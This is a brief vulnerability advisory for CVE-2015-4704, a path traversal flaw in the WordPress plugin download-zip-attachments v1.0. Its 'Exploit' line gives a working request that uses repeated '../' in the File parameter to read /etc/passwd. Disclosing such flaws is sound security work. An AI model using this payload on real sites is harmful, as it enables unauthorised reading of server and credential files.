Arbitrary file download vulnerability in download-zip-attachments v1.0

#880 · 2015-06-10

CVE ID(s): CVE-2015-4704

Notified: 2015-06-15

Description:

Download all attachments from the post into a zip file.

Exploit:

http://www.example.com/wp-content/plugins/download-zip-attachments/download.php?File=../../../../../../../../etc/passwd

Download: https://wordpress.org/plugins/download-zip-attachments/

URL: http://www.vapid.dhs.org/advisory.php?v=129